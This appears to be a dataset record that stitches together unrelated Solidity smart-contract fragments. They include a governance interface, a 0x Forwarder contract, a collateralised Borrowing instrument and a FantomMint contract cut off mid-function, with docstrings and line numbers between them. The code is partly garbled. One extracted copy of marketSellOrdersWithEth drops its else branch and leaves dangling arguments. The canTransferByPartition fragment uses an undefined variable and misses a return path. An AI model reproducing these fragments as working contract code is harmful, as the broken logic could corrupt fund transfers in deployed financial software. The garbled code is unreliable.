(address); function dao() external view returns (address); function bookkeeper() external view returns (address); function feeRewardForwarder() external view returns (address); function mintHelper() external view returns (address); function rewardToken() external view returns (address); function fundToken() external view returns (address); function psVault() external view returns (address); function fund() external view returns (address); function distributor() external view returns (address); function announcer() external view returns (address); function vaultController() external view returns (address); function whiteList(address _target) external view returns (bool); function vaults(address _target) external view returns (bool); function strategies(address _target) external view returns (bool); function psNumerator() external view returns (uint256); function psDenominator() external view returns (uint256); function fundNumerator() external view returns (uint256); function fundDenominator() external view returns (uint256); function isAllowedUser(address _adr) external view returns (bool); function isDao(address _adr) external view returns (bool); function isHardWorker(address _adr) external view returns (bool); function isRewardDistributor(address _adr) external view returns (bool); function isPoorRewardConsumer(address _adr) external view returns (bool); function isValidVault(address _vault) external view returns (bool); function isValidStrategy(address _strategy) external view returns (bool); function rebalance(address _strategy) external; // ************ DAO ACTIONS ************* function setPSNumeratorDenominator(uint256 numerator, uint256 denominator) external; function setFundNumeratorDenominator(uint256 numerator, uint256 denominator) external; function changeWhiteListStatus(address[] calldata _targets, bool status) external; }
Close any announce. Use in emergency case. opCode TimeLockOpCodes uint8 value opHash keccak256(abi.encode()) code with attributes. target Address for multi time lock. Set zero address if not required.
function closeAnnounce(TimeLockOpCodes opCode, bytes32 opHash, address target) external onlyGovernance { clearAnnounce(opHash, opCode, target); emit AnnounceClosed(opHash); }
14,610,378
./full_match/4/0x68eC73Ec4AB3edC6B4DB66d7584De2CB06b2E005/sources/browser/DealC.sol
storing multiple deal against single invitee
function addDealForInvitee(string memory inviteeA,address dealA) public{ totalDealI[inviteeA].push(dealA); }
781,764
/* Copyright 2018 ZeroEx Intl. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.4.24; pragma experimental ABIEncoderV2; import "./libs/LibConstants.sol"; import "./mixins/MWeth.sol"; import "./mixins/MAssets.sol"; import "./mixins/MExchangeWrapper.sol"; import "./interfaces/IForwarderCore.sol"; import "@0x/contracts-utils/contracts/utils/LibBytes/LibBytes.sol"; import "@0x/contracts-libs/contracts/libs/LibOrder.sol"; import "@0x/contracts-libs/contracts/libs/LibFillResults.sol"; import "@0x/contracts-libs/contracts/libs/LibMath.sol"; contract MixinForwarderCore is LibFillResults, LibMath, LibConstants, MWeth, MAssets, MExchangeWrapper, IForwarderCore { using LibBytes for bytes; /// @dev Constructor approves ERC20 proxy to transfer ZRX and WETH on this contract's behalf. constructor () public { address proxyAddress = EXCHANGE.getAssetProxy(ERC20_DATA_ID); require( proxyAddress != address(0), "UNREGISTERED_ASSET_PROXY" ); ETHER_TOKEN.approve(proxyAddress, MAX_UINT); ZRX_TOKEN.approve(proxyAddress, MAX_UINT); } /// @dev Purchases as much of orders' makerAssets as possible by selling up to 95% of transaction's ETH value. /// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract. /// 5% of ETH value is reserved for paying fees to order feeRecipients (in ZRX) and forwarding contract feeRecipient (in ETH). /// Any ETH not spent will be refunded to sender. /// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset. /// @param signatures Proofs that orders have been created by makers. /// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees. /// @param feeSignatures Proofs that feeOrders have been created by makers. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. /// @return Amounts filled and fees paid by maker and taker for both sets of orders. function marketSellOrdersWithEth( LibOrder.Order[] memory orders, bytes[] memory signatures, LibOrder.Order[] memory feeOrders, bytes[] memory feeSignatures, uint256 feePercentage, address feeRecipient ) public payable returns ( FillResults memory orderFillResults, FillResults memory feeOrderFillResults ) { // Convert ETH to WETH. convertEthToWeth(); uint256 wethSellAmount; uint256 zrxBuyAmount; uint256 makerAssetAmountPurchased; if (orders[0].makerAssetData.equals(ZRX_ASSET_DATA)) { // Calculate amount of WETH that won't be spent on ETH fees. wethSellAmount = getPartialAmountFloor( PERCENTAGE_DENOMINATOR, safeAdd(PERCENTAGE_DENOMINATOR, feePercentage), msg.value ); // Market sell available WETH. // ZRX fees are paid with this contract's balance. orderFillResults = marketSellWeth( orders, wethSellAmount, signatures ); // The fee amount must be deducted from the amount transfered back to sender. makerAssetAmountPurchased = safeSub(orderFillResults.makerAssetFilledAmount, orderFillResults.takerFeePaid); } else { // 5% of WETH is reserved for filling feeOrders and paying feeRecipient. wethSellAmount = getPartialAmountFloor( MAX_WETH_FILL_PERCENTAGE, PERCENTAGE_DENOMINATOR, msg.value ); // Market sell 95% of WETH. // ZRX fees are payed with this contract's balance. orderFillResults = marketSellWeth( orders, wethSellAmount, signatures ); // Buy back all ZRX spent on fees. zrxBuyAmount = orderFillResults.takerFeePaid; feeOrderFillResults = marketBuyExactZrxWithWeth( feeOrders, zrxBuyAmount, feeSignatures ); makerAssetAmountPurchased = orderFillResults.makerAssetFilledAmount; } // Transfer feePercentage of total ETH spent on primary orders to feeRecipient. // Refund remaining ETH to msg.sender. transferEthFeeAndRefund( orderFillResults.takerAssetFilledAmount, feeOrderFillResults.takerAssetFilledAmount, feePercentage, feeRecipient ); // Transfer purchased assets to msg.sender. transferAssetToSender(orders[0].makerAssetData, makerAssetAmountPurchased); } /// @dev Attempt to purchase makerAssetFillAmount of makerAsset by selling ETH provided with transaction. /// Any ZRX required to pay fees for primary orders will automatically be purchased by this contract. /// Any ETH not spent will be refunded to sender. /// @param orders Array of order specifications used containing desired makerAsset and WETH as takerAsset. /// @param makerAssetFillAmount Desired amount of makerAsset to purchase. /// @param signatures Proofs that orders have been created by makers. /// @param feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees. /// @param feeSignatures Proofs that feeOrders have been created by makers. /// @param feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. /// @param feeRecipient Address that will receive ETH when orders are filled. /// @return Amounts filled and fees paid by maker and taker for both sets of orders. function marketBuyOrdersWithEth( LibOrder.Order[] memory orders, uint256 makerAssetFillAmount, bytes[] memory signatures, LibOrder.Order[] memory feeOrders, bytes[] memory feeSignatures, uint256 feePercentage, address feeRecipient ) public payable returns ( FillResults memory orderFillResults, FillResults memory feeOrderFillResults ) { // Convert ETH to WETH. convertEthToWeth(); uint256 zrxBuyAmount; uint256 makerAssetAmountPurchased; if (orders[0].makerAssetData.equals(ZRX_ASSET_DATA)) { // If the makerAsset is ZRX, it is not necessary to pay fees out of this // contracts's ZRX balance because fees are factored into the price of the order. orderFillResults = marketBuyExactZrxWithWeth( orders, makerAssetFillAmount, signatures ); // The fee amount must be deducted from the amount transfered back to sender. makerAssetAmountPurchased = safeSub(orderFillResults.makerAssetFilledAmount, orderFillResults.takerFeePaid); } else { // Attemp to purchase desired amount of makerAsset. // ZRX fees are payed with this contract's balance. orderFillResults = marketBuyExactAmountWithWeth( orders, makerAssetFillAmount, signatures ); // Buy back all ZRX spent on fees. zrxBuyAmount = orderFillResults.takerFeePaid; feeOrderFillResults = marketBuyExactZrxWithWeth( feeOrders, zrxBuyAmount, feeSignatures ); makerAssetAmountPurchased = orderFillResults.makerAssetFilledAmount; } // Transfer feePercentage of total ETH spent on primary orders to feeRecipient. // Refund remaining ETH to msg.sender. transferEthFeeAndRefund( orderFillResults.takerAssetFilledAmount, feeOrderFillResults.takerAssetFilledAmount, feePercentage, feeRecipient ); // Transfer purchased assets to msg.sender. transferAssetToSender(orders[0].makerAssetData, makerAssetAmountPurchased); } }
Purchases as much of orders' makerAssets as possible by selling up to 95% of transaction's ETH value. Any ZRX required to pay fees for primary orders will automatically be purchased by this contract. 5% of ETH value is reserved for paying fees to order feeRecipients (in ZRX) and forwarding contract feeRecipient (in ETH). Any ETH not spent will be refunded to sender. orders Array of order specifications used containing desired makerAsset and WETH as takerAsset. signatures Proofs that orders have been created by makers. feeOrders Array of order specifications containing ZRX as makerAsset and WETH as takerAsset. Used to purchase ZRX for primary order fees. feeSignatures Proofs that feeOrders have been created by makers. feePercentage Percentage of WETH sold that will payed as fee to forwarding contract feeRecipient. feeRecipient Address that will receive ETH when orders are filled. return Amounts filled and fees paid by maker and taker for both sets of orders. Convert ETH to WETH. Calculate amount of WETH that won't be spent on ETH fees. Market sell available WETH. ZRX fees are paid with this contract's balance. The fee amount must be deducted from the amount transfered back to sender. 5% of WETH is reserved for filling feeOrders and paying feeRecipient. Market sell 95% of WETH. ZRX fees are payed with this contract's balance. Buy back all ZRX spent on fees.
function marketSellOrdersWithEth( LibOrder.Order[] memory orders, bytes[] memory signatures, LibOrder.Order[] memory feeOrders, bytes[] memory feeSignatures, uint256 feePercentage, address feeRecipient ) public payable returns ( FillResults memory orderFillResults, FillResults memory feeOrderFillResults ) { convertEthToWeth(); uint256 wethSellAmount; uint256 zrxBuyAmount; uint256 makerAssetAmountPurchased; if (orders[0].makerAssetData.equals(ZRX_ASSET_DATA)) { wethSellAmount = getPartialAmountFloor( PERCENTAGE_DENOMINATOR, safeAdd(PERCENTAGE_DENOMINATOR, feePercentage), msg.value ); orderFillResults = marketSellWeth( orders, wethSellAmount, signatures ); makerAssetAmountPurchased = safeSub(orderFillResults.makerAssetFilledAmount, orderFillResults.takerFeePaid); wethSellAmount = getPartialAmountFloor( MAX_WETH_FILL_PERCENTAGE, PERCENTAGE_DENOMINATOR, msg.value ); orderFillResults = marketSellWeth( orders, wethSellAmount, signatures ); zrxBuyAmount = orderFillResults.takerFeePaid; feeOrderFillResults = marketBuyExactZrxWithWeth( feeOrders, zrxBuyAmount, feeSignatures ); makerAssetAmountPurchased = orderFillResults.makerAssetFilledAmount; } orderFillResults.takerAssetFilledAmount, feeOrderFillResults.takerAssetFilledAmount, feePercentage, feeRecipient ); }
881,042
pragma solidity 0.5.16; import "@openzeppelin/contracts/math/SafeMath.sol"; import "../../escrow/EscrowBaseInterface.sol"; import "../../lib/priceoracle/PriceOracleInterface.sol"; import "../../lib/protobuf/BorrowingData.sol"; import "../../lib/protobuf/TokenTransfer.sol"; import "../../lib/protobuf/SupplementalLineItem.sol"; import "../../lib/util/Constants.sol"; import "../InstrumentBase.sol"; contract Borrowing is InstrumentBase { using SafeMath for uint256; event BorrowingCreated( uint256 indexed issuanceId, address indexed makerAddress, address escrowAddress, address collateralTokenAddress, address borrowingTokenAddress, uint256 borrowingAmount, uint256 collateralRatio, uint256 collateralTokenAmount, uint256 engagementDueTimestamp ); event BorrowingEngaged( uint256 indexed issuanceId, address indexed takerAddress, uint256 borrowingDueTimstamp ); event BorrowingRepaid(uint256 indexed issuanceId); event BorrowingCompleteNotEngaged(uint256 indexed issuanceId); event BorrowingDelinquent(uint256 indexed issuanceId); event BorrowingCancelled(uint256 indexed issuanceId); // Constants uint256 constant ENGAGEMENT_DUE_DAYS = 14 days; // Time available for taker to engage uint256 internal constant TENOR_DAYS_MIN = 2; // Minimum tenor is 2 days uint256 internal constant TENOR_DAYS_MAX = 90; // Maximum tenor is 90 days uint256 internal constant COLLATERAL_RATIO_DECIMALS = 10**4; // 0.01% uint256 internal constant COLLATERAL_RATIO_MIN = 5000; // Minimum collateral is 50% uint256 internal constant COLLATERAL_RATIO_MAX = 20000; // Maximum collateral is 200% uint256 internal constant INTEREST_RATE_DECIMALS = 10**6; // 0.0001% uint256 internal constant INTEREST_RATE_MIN = 10; // Mimimum interest rate is 0.0010% uint256 internal constant INTEREST_RATE_MAX = 50000; // Maximum interest rate is 5.0000% // Custom data bytes32 internal constant BORROWING_DATA = "borrowing_data"; // Borrowing parameters address private _collateralTokenAddress; address private _borrowingTokenAddress; uint256 private _borrowingAmount; uint256 private _tenorDays; uint256 private _interestRate; uint256 private _interestAmount; uint256 private _collateralRatio; uint256 private _collateralAmount; /** * @dev Create a new issuance of the financial instrument * @param callerAddress Address which invokes this function. * @param makerParametersData The custom parameters to the newly created issuance * @return transfersData The transfers to perform after the invocation */ function createIssuance( address callerAddress, bytes memory makerParametersData ) public returns (bytes memory transfersData) { require( _state == IssuanceProperties.State.Initiated, "Issuance not in Initiated" ); BorrowingMakerParameters.Data memory makerParameters = BorrowingMakerParameters .decode(makerParametersData); // Validates parameters. require( makerParameters.collateralTokenAddress != address(0x0), "Collateral token not set" ); require( makerParameters.borrowingTokenAddress != address(0x0), "Borrowing token not set" ); require( makerParameters.borrowingAmount > 0, "Borrowing amount not set" ); require( makerParameters.tenorDays >= TENOR_DAYS_MIN && makerParameters.tenorDays <= TENOR_DAYS_MAX, "Invalid tenor days" ); require( makerParameters.collateralRatio >= COLLATERAL_RATIO_MIN && makerParameters.collateralRatio <= COLLATERAL_RATIO_MAX, "Invalid collateral ratio" ); require( makerParameters.interestRate >= INTEREST_RATE_MIN && makerParameters.interestRate <= INTEREST_RATE_MAX, "Invalid interest rate" ); // Calculate the collateral amount. Collateral is calculated at the time of issuance creation. PriceOracleInterface priceOracle = PriceOracleInterface( _priceOracleAddress ); (uint256 numerator, uint256 denominator) = priceOracle.getRate( makerParameters.borrowingTokenAddress, makerParameters.collateralTokenAddress ); require(numerator > 0 && denominator > 0, "Exchange rate not found"); uint256 collateralAmount = numerator .mul(makerParameters.borrowingAmount) .mul(makerParameters.collateralRatio) .div(COLLATERAL_RATIO_DECIMALS) .div(denominator); // Validate collateral token balance uint256 collateralTokenBalance = EscrowBaseInterface( _instrumentEscrowAddress ) .getTokenBalance( callerAddress, makerParameters.collateralTokenAddress ); require( collateralTokenBalance >= collateralAmount, "Insufficient collateral balance" ); // Sets common properties _makerAddress = callerAddress; _creationTimestamp = now; _engagementDueTimestamp = now.add(ENGAGEMENT_DUE_DAYS); _state = IssuanceProperties.State.Engageable; // Sets borrowing parameters _borrowingTokenAddress = makerParameters.borrowingTokenAddress; _borrowingAmount = makerParameters.borrowingAmount; _collateralTokenAddress = makerParameters.collateralTokenAddress; _tenorDays = makerParameters.tenorDays; _interestRate = makerParameters.interestRate; _interestAmount = _borrowingAmount .mul(makerParameters.tenorDays) .mul(makerParameters.interestRate) .div(INTEREST_RATE_DECIMALS); _collateralRatio = makerParameters.collateralRatio; _collateralAmount = collateralAmount; // Emits Scheduled Engagement Due event emit EventTimeScheduled( _issuanceId, _engagementDueTimestamp, ENGAGEMENT_DUE_EVENT, "" ); // Emits Borrowing Created event emit BorrowingCreated( _issuanceId, _makerAddress, _issuanceEscrowAddress, _collateralTokenAddress, _borrowingTokenAddress, _borrowingAmount, _collateralRatio, _collateralAmount, _engagementDueTimestamp ); // Transfers collateral token Transfers.Data memory transfers = Transfers.Data( new Transfer.Data[](2) ); // Collateral token inbound transfer: Maker transfers.actions[0] = _createInboundTransfer( _makerAddress, _collateralTokenAddress, _collateralAmount, "Collateral in" ); // Collateral token intra-issuance transfer: Maker --> Custodian transfers.actions[1] = _createIntraIssuanceTransfer( _makerAddress, Constants.getCustodianAddress(), _collateralTokenAddress, _collateralAmount, "Custodian in" ); transfersData = Transfers.encode(transfers); // Create payable 1: Custodian --> Maker _createNewPayable( 1, Constants.getCustodianAddress(), _makerAddress, _collateralTokenAddress, _collateralAmount, _engagementDueTimestamp ); } /** * @dev A taker engages to the issuance * @param callerAddress Address which invokes this function. * @return transfersData The transfers to perform after the invocation */ function engageIssuance( address callerAddress, bytes memory /** takerParameters */ ) public returns (bytes memory transfersData) { require( _state == IssuanceProperties.State.Engageable, "Issuance not in Engageable" ); // Validates borrowing balance uint256 borrowingBalance = EscrowBaseInterface(_instrumentEscrowAddress) .getTokenBalance(callerAddress, _borrowingTokenAddress); require( borrowingBalance >= _borrowingAmount, "Insufficient borrowing balance" ); // Sets common properties _takerAddress = callerAddress; _engagementTimestamp = now; _issuanceDueTimestamp = now.add(_tenorDays * 1 days); // Emits Scheduled Borrowing Due event emit EventTimeScheduled( _issuanceId, _issuanceDueTimestamp, ISSUANCE_DUE_EVENT, "" ); // Emits Borrowing Engaged event emit BorrowingEngaged( _issuanceId, _takerAddress, _issuanceDueTimestamp ); // Transition to Engaged state. _state = IssuanceProperties.State.Engaged; Transfers.Data memory transfers = Transfers.Data( new Transfer.Data[](3) ); // Principal token inbound transfer: Taker transfers.actions[0] = _createInboundTransfer( _takerAddress, _borrowingTokenAddress, _borrowingAmount, "Principal in" ); // Principal token intra-issuance transfer: Taker --> Maker transfers.actions[1] = _createIntraIssuanceTransfer( _takerAddress, _makerAddress, _borrowingTokenAddress, _borrowingAmount, "Principal transfer" ); // Create payable 2: Maker --> Taker _createNewPayable( 2, _makerAddress, _takerAddress, _borrowingTokenAddress, _borrowingAmount, _issuanceDueTimestamp ); // Create payable 3: Maker --> Taker _createNewPayable( 3, _makerAddress, _takerAddress, _borrowingTokenAddress, _interestAmount, _issuanceDueTimestamp ); // Create payable 4: Custodian --> Maker _createNewPayable( 4, Constants.getCustodianAddress(), _makerAddress, _collateralTokenAddress, _collateralAmount, _issuanceDueTimestamp ); // Mark payable 1 as reinitiated by payable 4 _updatePayable(1, SupplementalLineItem.State.Reinitiated, 4); // Principal token outbound transfer: Maker transfers.actions[2] = _createOutboundTransfer( _makerAddress, _borrowingTokenAddress, _borrowingAmount, "Principal out" ); transfersData = Transfers.encode(transfers); } /** * @dev A custom event is triggered. * @param callerAddress Address which invokes this function. * @param eventName The name of the custom event. * @return transfersData The transfers to perform after the invocation */ function processCustomEvent( address callerAddress, bytes32 eventName, bytes memory /** eventPayload */ ) public returns (bytes memory transfersData) { if (eventName == ENGAGEMENT_DUE_EVENT) { return processEngagementDue(); } else if (eventName == ISSUANCE_DUE_EVENT) { return processIssuanceDue(); } else if (eventName == CANCEL_ISSUANCE_EVENT) { return cancelIssuance(callerAddress); } else if (eventName == REPAY_ISSUANCE_FULL_EVENT) { return repayIssuance(callerAddress); } else { revert("Unknown event"); } } /** * @dev Processes the Engagement Due event. */ function processEngagementDue() private returns (bytes memory transfersData) { // Engagement Due will be processed only when: // 1. Issuance is in Engageable state // 2. Engagement due timestamp is passed if ( _state == IssuanceProperties.State.Engageable && now >= _engagementDueTimestamp ) { // Emits Borrowing Complete Not Engaged event emit BorrowingCompleteNotEngaged(_issuanceId); // Updates to Complete Not Engaged state _state = IssuanceProperties.State.CompleteNotEngaged; Transfers.Data memory transfers = Transfers.Data( new Transfer.Data[](2) ); // Collateral token intra-issuance transfer: Custodian --> Maker transfers.actions[0] = _createIntraIssuanceTransfer( Constants.getCustodianAddress(), _makerAddress, _collateralTokenAddress, _collateralAmount, "Custodian out" ); // Mark payable 1 as paid _updatePayable(1, SupplementalLineItem.State.Paid, 0); // Collateral token outbound transfer: Maker transfers.actions[1] = _createOutboundTransfer( _makerAddress, _collateralTokenAddress, _collateralAmount, "Collateral out" ); transfersData = Transfers.encode(transfers); } } /** * @dev Processes the Issuance Due event. */ function processIssuanceDue() private returns (bytes memory transfersData) { // Borrowing Due will be processed only when: // 1. Issuance is in Engaged state // 2. Borrowing due timestamp has passed if ( _state == IssuanceProperties.State.Engaged && now >= _issuanceDueTimestamp ) { // Emits Borrowing Deliquent event emit BorrowingDelinquent(_issuanceId); // Updates to Delinquent state _state = IssuanceProperties.State.Delinquent; Transfers.Data memory transfers = Transfers.Data( new Transfer.Data[](3) ); // Collateral token intra-issuance transfer: Custodian --> Maker transfers.actions[0] = _createIntraIssuanceTransfer( Constants.getCustodianAddress(), _makerAddress, _collateralTokenAddress, _collateralAmount, "Custodian out" ); // Mark payable 4 as paid _updatePayable(4, SupplementalLineItem.State.Paid, 0); // Collateral token intra-issuance transfer: Maker --> Taker transfers.actions[1] = _createIntraIssuanceTransfer( _makerAddress, _takerAddress, _collateralTokenAddress, _collateralAmount, "Collateral transfer" ); // Collateral token outbound transfer: Taker transfers.actions[2] = _createOutboundTransfer( _takerAddress, _collateralTokenAddress, _collateralAmount, "Collateral out" ); transfersData = Transfers.encode(transfers); } } /** * @dev Cancels the issuance. * @param callerAddress Address of the caller who cancels the issuance. */ function cancelIssuance(address callerAddress) private returns (bytes memory transfersData) { // Cancel Issuance must be processed in Engageable state require( _state == IssuanceProperties.State.Engageable, "Cancel issuance not in engageable state" ); // Only maker can cancel issuance require( callerAddress == _makerAddress, "Only maker can cancel issuance" ); // Emits Borrowing Cancelled event emit BorrowingCancelled(_issuanceId); // Updates to Cancelled state. _state = IssuanceProperties.State.Cancelled; Transfers.Data memory transfers = Transfers.Data( new Transfer.Data[](2) ); // Collateral token intra-issuance transfer: Custodian --> Maker transfers.actions[0] = _createIntraIssuanceTransfer( Constants.getCustodianAddress(), _makerAddress, _collateralTokenAddress, _collateralAmount, "Custodian out" ); // Mark payable 1 as paid _updatePayable(1, SupplementalLineItem.State.Paid, 0); // Collateral token outbound transfer: Maker transfers.actions[1] = _createOutboundTransfer( _makerAddress, _collateralTokenAddress, _collateralAmount, "Collateral out" ); transfersData = Transfers.encode(transfers); } function repayIssuance(address callerAddress) private returns (bytes memory transfersData) { // Important: Token deposit can happen only in repay! require( _state == IssuanceProperties.State.Engaged, "Issuance not in Engaged" ); require(callerAddress == _makerAddress, "Only maker can repay"); uint256 repayAmount = _borrowingAmount + _interestAmount; // Validates borrowing balance uint256 borrowingBalance = EscrowBaseInterface(_instrumentEscrowAddress) .getTokenBalance(_makerAddress, _borrowingTokenAddress); require( borrowingBalance >= repayAmount, "Insufficient borrowing balance" ); // Sets common properties _settlementTimestamp = now; // Emits Borrowing Repaid event emit BorrowingRepaid(_issuanceId); // Updates to Complete Engaged state. _state = IssuanceProperties.State.CompleteEngaged; Transfers.Data memory transfers = Transfers.Data( new Transfer.Data[](8) ); // Pricipal inbound transfer: Maker transfers.actions[0] = _createInboundTransfer( _makerAddress, _borrowingTokenAddress, _borrowingAmount, "Principal in" ); // Interest inbound transfer: Maker transfers.actions[1] = _createInboundTransfer( _makerAddress, _borrowingTokenAddress, _interestAmount, "Interest in" ); // Principal intra-issuance transfer: Maker --> Taker transfers.actions[2] = _createIntraIssuanceTransfer( _makerAddress, _takerAddress, _borrowingTokenAddress, _borrowingAmount, "Principal transfer" ); // Mark payable 2 as paid _updatePayable(2, SupplementalLineItem.State.Paid, 0); // Interest intra-issuance transfer: Maker --> Taker transfers.actions[3] = _createIntraIssuanceTransfer( _makerAddress, _takerAddress, _borrowingTokenAddress, _interestAmount, "Interest transfer" ); // Mark payable 3 as paid _updatePayable(3, SupplementalLineItem.State.Paid, 0); // Collateral token intra-issuance transfer: Custodian --> Maker transfers.actions[4] = _createIntraIssuanceTransfer( Constants.getCustodianAddress(), _makerAddress, _collateralTokenAddress, _collateralAmount, "Custodian out" ); // Mark payable 4 as paid _updatePayable(4, SupplementalLineItem.State.Paid, 0); // Collateral outbound transfer: Maker transfers.actions[5] = _createOutboundTransfer( _makerAddress, _collateralTokenAddress, _collateralAmount, "Collateral out" ); // Principal outbound transfer: Taker transfers.actions[6] = _createOutboundTransfer( _takerAddress, _borrowingTokenAddress, _borrowingAmount, "Principal out" ); // Interest outbound transfer: Taker transfers.actions[7] = _createOutboundTransfer( _takerAddress, _borrowingTokenAddress, _interestAmount, "Interest out" ); transfersData = Transfers.encode(transfers); } /** * @dev Get custom data. * @param dataName The name of the custom data. * @return customData The custom data of the issuance. */ function getCustomData( address, /** callerAddress */ bytes32 dataName ) public view returns (bytes memory) { if (dataName == BORROWING_DATA) { BorrowingProperties.Data memory borrowingProperties = BorrowingProperties .Data({ borrowingTokenAddress: _borrowingTokenAddress, collateralTokenAddress: _collateralTokenAddress, borrowingAmount: _borrowingAmount, collateralRatio: _collateralRatio, collateralAmount: _collateralAmount, interestRate: _interestRate, interestAmount: _interestAmount, tenorDays: _tenorDays }); BorrowingCompleteProperties.Data memory borrowingCompleteProperties = BorrowingCompleteProperties .Data({ issuanceProperties: _getIssuanceProperties(), borrowingProperties: borrowingProperties }); return BorrowingCompleteProperties.encode(borrowingCompleteProperties); } else { revert("Unknown data"); } } }
Processes the Engagement Due event./ Engagement Due will be processed only when: 1. Issuance is in Engageable state 2. Engagement due timestamp is passed Emits Borrowing Complete Not Engaged event Updates to Complete Not Engaged state Collateral token intra-issuance transfer: Custodian --> Maker Mark payable 1 as paid Collateral token outbound transfer: Maker
function processEngagementDue() private returns (bytes memory transfersData) { if ( _state == IssuanceProperties.State.Engageable && now >= _engagementDueTimestamp ) { emit BorrowingCompleteNotEngaged(_issuanceId); _state = IssuanceProperties.State.CompleteNotEngaged; Transfers.Data memory transfers = Transfers.Data( new Transfer.Data[](2) ); transfers.actions[0] = _createIntraIssuanceTransfer( Constants.getCustodianAddress(), _makerAddress, _collateralTokenAddress, _collateralAmount, "Custodian out" ); _updatePayable(1, SupplementalLineItem.State.Paid, 0); transfers.actions[1] = _createOutboundTransfer( _makerAddress, _collateralTokenAddress, _collateralAmount, "Collateral out" ); transfersData = Transfers.encode(transfers); } }
916,135
./full_match/3/0xe3E78C43980456568eE5902C155079e725dcBB99/sources/browser/ERC1400ERC20.sol
[ERC1400 INTERFACE (8/9)] Know the reason on success or failure based on the EIP-1066 application-specific status codes. partition Name of the partition. to Token recipient. value Number of tokens to transfer. data Information attached to the transfer, by the token holder. [CONTAINS THE CONDITIONAL OWNERSHIP CERTIFICATE] return ESC (Ethereum Status Code) following the EIP-1066 standard. return Additional bytes32 parameter that can be used to define application specific reason codes with additional details (for example the transfer restriction rule responsible for making the transfer operation invalid). return Destination partition./
function canTransferByPartition(bytes32 partition, address to, uint256 value, bytes calldata data) external view returns (byte, bytes32, bytes32) { if(!_checkCertificate(data, 0, functionSig)) { return _canTransfer(functionSig, partition, msg.sender, msg.sender, to, value, data, ""); } }
14,141,612
pragma solidity ^0.5.0; import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/utils/Address.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts-ethereum-package/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./interfaces/IPriceOracleProxy.sol"; import "./interfaces/IFantomMintAddressProvider.sol"; import "./interfaces/IFantomMintTokenRegistry.sol"; import "./interfaces/IFantomDeFiTokenStorage.sol"; import "./interfaces/IFantomMintRewardManager.sol"; import "./modules/FantomMintErrorCodes.sol"; import "./modules/FantomMintBalanceGuard.sol"; import "./modules/FantomMintCollateral.sol"; import "./modules/FantomMintDebt.sol"; import "./modules/FantomMintConfig.sol"; // FantomMint implements the contract of core DeFi function // for minting tokens against a deposited collateral. The collateral // management is linked from the Fantom Collateral implementation. // Minting is burdened with a minting fee defined as the amount // of percent of the minted tokens value in fUSD. Burning is free // of any fee. contract FantomMint is Initializable, FantomMintBalanceGuard, FantomMintCollateral, FantomMintDebt, FantomMintConfig { // define used libs using SafeMath for uint256; using Address for address; using SafeERC20 for ERC20; // ---------------------------- // Fantom minter configuration // ---------------------------- // addressProvider represents the connection to other FMint related // contracts. IFantomMintAddressProvider public addressProvider; // initialize initializes the contract properly before the first use. function initialize(address owner, address _addressProvider) public initializer { // remember the address provider connecting satellite contracts to the minter addressProvider = IFantomMintAddressProvider(_addressProvider); // init the underlying party FantomMintConfig.initialize(owner); FantomMintCollateral.initialize(); FantomMintDebt.initialize(); } // ------------------------------------------------------------- // Minter parameters resolved from the Config contract // ------------------------------------------------------------- // getCollateralLowestDebtRatio4dec represents the lowest ratio between // collateral value and debt value allowed for the user. // User can not withdraw his collateral if the active ratio would // drop below this value. function getCollateralLowestDebtRatio4dec() public view returns (uint256) { return collateralLowestDebtRatio4dec; } // getRewardEligibilityRatio4dec represents the collateral to debt ratio user has to have // to be able to receive rewards. function getRewardEligibilityRatio4dec() public view returns (uint256) { return rewardEligibilityRatio4dec; } // getFMintFee4dec represents the current percentage of the created tokens // captured as a fee. function getFMintFee4dec() public view returns (uint256) { return fMintFee4dec; } // getMinDebtValue returns the minimum debt value. function getMinDebtValue() public view returns (uint256) { return minDebtValue; } // ------------------------------------------------------------- // Pool balances and values // ------------------------------------------------------------- // getCollateralPool returns the address of collateral pool. function getCollateralPool() public view returns (IFantomDeFiTokenStorage) { return addressProvider.getCollateralPool(); } // getDebtPool returns the address of debt pool. function getDebtPool() public view returns (IFantomDeFiTokenStorage) { return addressProvider.getDebtPool(); } // canDeposit checks if the given token can be deposited to the collateral pool. function canDeposit(address _token) public view returns (bool) { return addressProvider.getTokenRegistry().canDeposit(_token); } // canMint checks if the given token can be minted in the fMint protocol. function canMint(address _token) public view returns (bool) { return addressProvider.getTokenRegistry().canMint(_token); } // checkCollateralCanDecrease checks if the specified amount of collateral can be removed from account // without breaking collateral to debt ratio rule. function checkCollateralCanDecrease(address _account, address _token, uint256 _amount) public view returns (bool) { return collateralCanDecrease(_account, _token, _amount); } // checkDebtCanIncrease (abstract) checks if the specified // amount of debt can be added to the account // without breaking collateral to debt ratio rule. function checkDebtCanIncrease(address _account, address _token, uint256 _amount) public view returns (bool) { return debtCanIncrease(_account, _token, _amount); } // debtValueOf returns the value of account debt. function debtValueOf(address _account, address _token, uint256 _add) public view returns (uint256) { // do we have a request to calculate increased debt value? if ((0 != _add) && (address(0x0) != _token)) { // return current value with increased balance on given token return addressProvider.getDebtPool().totalOfInc(_account, _token, _add); } // return current debt value as-is return addressProvider.getDebtPool().totalOf(_account); } // collateralValueOf returns the value of account collateral. function collateralValueOf(address _account, address _token, uint256 _sub) public view returns (uint256) { // do we have a request to calculate decreased collateral value? if ((0 != _sub) && (address(0x0) != _token)) { // return current value with reduced balance on given token return addressProvider.getCollateralPool().totalOfDec(_account, _token, _sub); } // return current collateral value as-is 